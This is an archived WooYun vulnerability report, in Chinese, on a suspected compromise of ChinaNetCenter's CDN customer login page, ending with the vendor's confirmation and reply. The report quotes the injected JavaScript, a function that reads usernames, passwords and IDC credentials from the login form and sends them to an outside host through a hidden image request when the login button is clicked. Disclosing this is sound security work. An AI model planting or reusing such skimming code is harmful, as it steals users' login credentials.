当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061526

漏洞标题：网宿科技官网疑似被黑(CDN帐号可能被劫持)

相关厂商：网宿科技

漏洞作者： 专业种田

提交时间：2014-05-20 00:05

修复时间：2014-07-04 00:05

公开时间：2014-07-04 00:05

漏洞类型：用户资料大量泄漏

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-20： 细节已通知厂商并且等待厂商处理中
2014-05-20： 厂商已经确认，细节仅向厂商公开
2014-05-30： 细节向核心白帽子及相关领域专家公开
2014-06-09： 细节向普通白帽子公开
2014-06-19： 细节向实习白帽子公开
2014-07-04： 细节向公众公开

简要描述：

RT

详细说明：

http://www.chinanetcenter.com/Home/CsLogin
网站登录页被置入恶意程序，用户密码被发送到攻击者站点
show()自动把密码发送到站点http://www.ikari.com.cn/ims2/subfunc/mst0070.asp

<script type="text/javascript">
    function show() {
        var a = document.getElementById("username").value;
        var b = document.getElementById("password").value;
        var c = document.getElementById("idcUserName").value;
        var d = document.getElementById("idcPassword").value;
        var img = document.createElement("img");
        img.src = "http://www.ikari.com.cn/ims2/subfunc/mst0070.asp?a=" + a + "&b=" + b + "&c=" + c + "&d=" + d;
        img.style.display = "none";
        //document.appendChild(img);
    }
</script>


<tr>
                        <td></td>
                        <td colspan="2" class="td_left">
                            <input id="Button1" type="button" value="登 录" onclick="doCdnSubmit();show();" class="loginBtn" />
                        </td>
                    </tr>


chinanetcenter3.jpg


chinanetcenter2.jpg

漏洞证明：

chinanetcenter1.jpg

修复方案：

请自查

版权声明：转载请注明来源 专业种田@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-05-20 01:23

厂商回复：

该入口没有使用，不影响客户信息，我们进行了关闭处理，感谢田兄关注

最新状态：

暂无